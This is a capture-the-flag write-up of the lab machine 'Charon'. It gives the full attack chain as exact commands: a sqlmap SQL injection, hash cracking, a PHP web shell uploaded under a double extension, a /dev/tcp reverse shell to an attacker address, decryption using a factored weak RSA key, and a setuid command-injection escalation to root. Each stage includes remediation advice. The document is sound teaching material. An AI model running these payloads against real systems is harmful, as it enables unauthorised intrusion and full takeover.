Charon
Summary
Target charon.htb ($TARGET) was fully compromised through a four-stage chain. A UNION-based SQL injection in the SuperCMS forgot.php password-reset form leaked the administrator's MD5-hashed password, which cracked offline to the credential super_cms_adm's password. The authenticated file-upload form enforced its extension whitelist only in browser-side JavaScript; submitting a double-extension PHP web shell (shell.php.gif) directly via HTTP bypassed that check, and Apache executed the stored file as PHP, giving remote code execution as www-data.
Local enumeration found two world-readable files in the decoder account's home directory, a 256-bit RSA public key and an RSA-encrypted password file, whose 256-bit modulus was trivially factorable via FactorDB, enabling private-key reconstruction and decryption of the password for an SSH session as decoder and the user flag. To reach root, a setuid binary at /usr/local/bin/supershell passed user-supplied arguments to a shell but failed to block the $(...) command-substitution syntax, letting me embed sub-commands that copied bash with its setuid bit set and opened a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export KEY2="<the-key-you-recovered>"Attack path: how the box was taken
Exact commands 3
Identify open ports and service banners.
$ nmap -sV -sC -p 22,80 -oN charon_nmap.txt $TARGETRegister the virtual hostname for local DNS resolution.
$ echo "$TARGET charon.htb" | sudo tee -a /etc/hostsConfirm the SuperCMS login page and identify further endpoints (forgot.php, upload.php).
$ curl -sIL http://charon.htb/cmsdata/login.phpExact commands 2
Automate UNION injection against the email parameter; extracts hashed passwords from the users table.
$ sqlmap -u 'http://charon.htb/cmsdata/forgot.php' --data 'email=test@test.com' --dbms=mysql --technique=U --dump -T users --batchCrack the extracted MD5 hash (-m 0 = MD5) offline; recovers <withheld> for super_cms_adm.
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txtFixReplace concatenated SQL queries with parameterized prepared statementsCritical
Exact commands 6
Authenticate with cracked credentials and save the session cookie.
$ curl -c cookie.txt -b cookie.txt -L -d "user=super_cms_adm&pass=$PASSWORD2&submit=submit" http://charon.htb/cmsdata/login.phpCreate a PHP web shell prefixed with a GIF89a magic-byte header.
$ printf 'GIF89a;\n<?php if(isset($_REQUEST["x"])){system($_REQUEST["x"]);} ?>\n' > payload.gifUpload the double-extension payload; stored as /images/shell.php.gif on the server.
$ curl -b cookie.txt -F 'image=@payload.gif;filename=shell.php.gif' -F 'c2hlbGwucGhw=testfile1' http://charon.htb/cmsdata/upload.phpVerify remote code execution: expects uid=33(www-data).
$ curl 'http://charon.htb/images/shell.php.gif?x=id'Start the reverse-shell listener on my machine (run in background).
$ nc -lvnp 4444Replace $ATTACKER_IP with my machine's IP; upgrades the web shell to an interactive shell as www-data.
$ curl 'http://charon.htb/images/shell.php.gif' --get --data-urlencode "x=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"FixEnforce file-upload validation on the server and disable PHP execution in the uploads directoryCritical
Exact commands 4
Read the world-readable RSA public key.
$ cat /home/decoder/decoder.pubExtract the decimal modulus n from the public key for submission to FactorDB.
$ python3 -c "from Crypto.PublicKey import RSA; key=RSA.import_key(open('/home/decoder/decoder.pub').read()); print(key.n)"Replace <MODULUS_N> with the decimal value from the previous command; FactorDB returns the pre-computed prime factors p and q.
$ curl -s 'http://factordb.com/api?query=<MODULUS_N>'Reconstruct the private key from the recovered factors and decrypt pass.crypt; prints the plaintext password.
$ python3 - <<PY
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
from Crypto.Cipher import PKCS1_v1_5
p = $KEY
q = $KEY2
e = 65537
n = p * q
d = inverse(e, (p-1)*(q-1))
priv = RSA.construct((n, e, d, p, q))
cipher = PKCS1_v1_5.new(priv)
ct = open('/home/decoder/pass.crypt','rb').read()
print(cipher.decrypt(ct, None))
PYFixReplace the 256-bit RSA key with a cryptographically sound key and restrict permissions on credential filesCritical
Exact commands 2
Authenticate using the password recovered in the previous step.
$ ssh decoder@$TARGETRead the user flag: <user.txt>
$ cat /home/decoder/user.txtExact commands 5
Confirm the setuid bit is set: expect -rwsr-xr-x root root.
$ ls -la /usr/local/bin/supershellThe $() sub-command executes as root, copying /bin/bash to /tmp/rootbash.
$ /usr/local/bin/supershell '/bin/ls $(/bin/cp /bin/bash /tmp/rootbash)'The $() sub-command executes as root, setting the setuid bit on /tmp/rootbash.
$ /usr/local/bin/supershell '/bin/ls $(/bin/chmod 4755 /tmp/rootbash)'Verify the binary is now -rwsr-xr-x owned by root.
$ ls -l /tmp/rootbashOpen a root-privileged shell; -p preserves the effective root UID. Capture root flag: <root.txt>
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=0(root)FixRemove the setuid bit from supershell and redesign privileged access without shell-injection riskCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.